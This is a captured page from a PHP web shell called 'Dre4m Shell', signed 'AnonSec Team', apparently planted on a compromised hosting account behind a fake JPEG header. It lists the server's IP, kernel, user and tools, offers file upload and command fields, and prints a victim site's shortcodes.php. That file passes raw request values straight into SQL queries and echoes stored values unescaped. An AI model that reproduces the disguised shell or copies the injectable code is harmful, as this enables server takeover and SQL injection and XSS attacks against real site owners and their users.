ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/vracandbio.com/seo-mailing/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/vracandbio.com/seo-mailing/settings/shortcodes.php
<?php if($_SESSION['PERM'][17]['a'] == 1){
	if(count($_POST) && !isset($_POST['id'])){
		if(isset($_POST['feature'])){ $feature = 1;}else{ $feature = 0;}
		$query = "INSERT INTO ".$INFO['sql_tbl_prefix']."shortcodes (id, id_user, shortcode, value, tooltip, html_example, system, feature, id_feature)
		 VALUES ('', '{$_SESSION['id']}', '{$_POST['shortcode']}',
		  '{$_POST['value']}', '{$_POST['description']}', '".$_POST['html_example']."', '0', {$feature}, {$_POST['user_feature']})"; 
		mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
	?>
    	<script type="application/javascript">
			document.location.href="?settings&shortcodes";
		</script> 
		
		
<?php }elseif(count($_POST) && isset($_POST['id']) && $_SESSION['PERM'][17]['e'] == 1){
	$query = "UPDATE ".$INFO['sql_tbl_prefix']."shortcodes SET
	 shortcode = '{$_POST['shortcode']}',
	 value = '{$_POST['value']}',
	 tooltip = '{$_POST['description']}' ,
	 html_example = '{$_POST['html_example']}'
	 WHERE id = {$_POST['id']} LIMIT 1 "; 
	mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query); ?>
		<script type="application/javascript">
			document.location.href="?settings&shortcodes";
		</script> 	
<?php } ?>
<?php if(isset($_GET['edit'])){?>
		<script>
		jQuery.noConflict()(function($){
			$(document).ready(function () {
				$('#form-content').css('display', 'block') ;
			});
		}); 
		</script>
<?php 
	$result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."shortcodes WHERE id = '{$_GET['edit']}' LIMIT 1");
	$sh = mysqli_fetch_array($result);
}?>       
<div id="form-content" style="display:none">
<form action="" method="post" class="form-horizontal">
<?php if(isset($_GET['edit'])){?><input type="hidden" value="<?php echo $_GET['edit']?>" name="id"><?php } ?>
    	<h4><?php echo __('Add Shortcode');?></h4>
    <div class="control-group">
        <label class="control-label" for="shortcode"><?php echo __('Shortcode');?></label>
        <div class="controls">
            <input type="text" name="shortcode" style="width:97%" id="shortcode" value="<?php if(isset($sh['shortcode'])) echo $sh['shortcode'];?>"  placeholder="<?php echo __('Shortcode');?>" required="required">
        </div>
    </div> 
    <div class="control-group">
        <label class="control-label" for="value"><?php echo __('Value');?></label>
        <div class="controls">
            <textarea style="width:97%" name="value" id="value" rows="3" required><?php if(isset($sh['value'])) echo $sh['value'];?></textarea>
        </div>
    </div>
    <div class="control-group">
        <label class="control-label" for="description"><?php echo __('Description');?></label>
        <div class="controls">
	        <textarea style="width:97%" name="description" id="description" rows="3" required><?php if(isset($sh['tooltip'])) echo $sh['tooltip'];?></textarea>            
        </div>
    </div> 
    <div class="control-group">
        <label class="control-label" for="html_example"><?php echo __('HTML example');?></label>
        <div class="controls">
	        <textarea style="width:97%" name="html_example" id="html_example" rows="3" required><?php if(isset($sh['html_example'])) echo $sh['html_example'];?></textarea>            
        </div>
    </div>   
    <div class="control-group">
    	<label class="control-label" for="feature"><?php echo __('Enable User Feature');?></label>
        <div class="controls">
            <div class="switch" tabindex="0">
                <input id="feature" type="checkbox" name="feature" <?php if($sh['feature'] == 1){?>checked="checked"<?php } ?> />
            </div>
        </div>
    </div>
      <div class="control-group">
        <label class="control-label" for="user_feature"><?php echo __('User Feature');?></label>
        <div class="controls">
          <select name="user_feature" id="user_feature" class="dropdown">
          		<option value="0">---</option>
          	<?php $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_user_feature ORDER by name");
				if(mysqli_num_rows($result)>0){
				while($fe = mysqli_fetch_array($result)){ ?>
                <option value="<?php echo $fe['id']?>" <?php if($fe['id'] == $sh['id_feature']){?>selected="selected"<?php }?>><?php echo $fe['name']?></option>
             <?php }} ?>   
            </select>
        </div>
      </div>
    <hr> 
	<div class="form-actions">
        <button type="submit" class="btn btn-primary"><?php echo __('Save');?></button>
    </div>
</form>
<hr>
</div>
<?php } ?>
<table class="table table-bordered">
	<thead>
    	<tr>
            <th class="span2"><?php echo __('Shortcode')?></th>
            <th class="sapn4"><?php echo __('Value');?></th>
            <th><?php echo __('Description');?></th>
            <th><?php echo __('HTML example');?></th>
            <th class="span1"><?php echo __('System');?></th>
            <?php if(($_SESSION['PERM'][17]['r'] == 1 && $_SESSION['PERM'][17]['e'] == 1) || 
				$_SESSION['PERM'][17]['r'] + $_SESSION['PERM'][17]['e'] > 0
				){?>
            <th class="span1"><?php echo __('Operations');?></th>
            <?php }?>
        </tr>
    </thead>
    <tbody>
<?php $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."shortcodes ORDER by system,shortcode");
		if(mysqli_num_rows($result)>0){
			while($sh = mysqli_fetch_array($result)){
			?>
    	<tr>
        	<td><span class="label label-inverse">{<?php echo $sh['shortcode']?>}</span></td>
            <td><?php echo $sh['value']?></td>
            <td><?php echo $sh['tooltip']?></td>
            <td><?php echo $sh['html_example']?></td>
            <td class="center"><?php if($sh['system']==1){?>
            <i class="icon-check"></i>
<?php		}else{ ?>
			<i class="icon-check-empty"></i>
<?php		}?>
			</td>
            <?php if(($_SESSION['PERM'][17]['r'] == 1 && $_SESSION['PERM'][17]['e'] == 1) || 
				$_SESSION['PERM'][17]['r'] + $_SESSION['PERM'][17]['e'] > 0
				){?>
            <td><div class="btn-group">
                  <a class="btn btn-primary btn-small dropdown-toggle" data-toggle="dropdown" href="#">
                    <?php echo __('Action');?>
                    <span class="caret"></span>
                  </a>
                  <ul class="dropdown-menu">
                    <!-- dropdown menu links -->
                    <?php if($_SESSION['PERM'][17]['e'] == 1){?>
                    <li><a href="?settings&shortcodes&edit=<?php echo $sh['id']?>" title="<?php echo __('Edit');?>" ><i class="icon-pencil"></i> <?php echo __('Edit');?></a></li>  
                   	<li><a href="?settings&shortcodes_del=<?php echo $sh['id']?>" onClick="return confirm('<?php echo __('Remove?');?>');" ><i class="icon-remove-sign"></i> <?php echo __('Remove');?></a></li>
                    <?php }?>
                    <?php if($sh['system'] != 1 && $_SESSION['PERM'][17]['r'] == 1){?>
                    <li class="divider"></li>
                    <?php } ?>
                  </ul>
                </div>            
            </td>
            <?php }?>
        </tr>
       <?php }
		}?> 
    </tbody>
</table>

Anon7 - 2022
AnonSec Team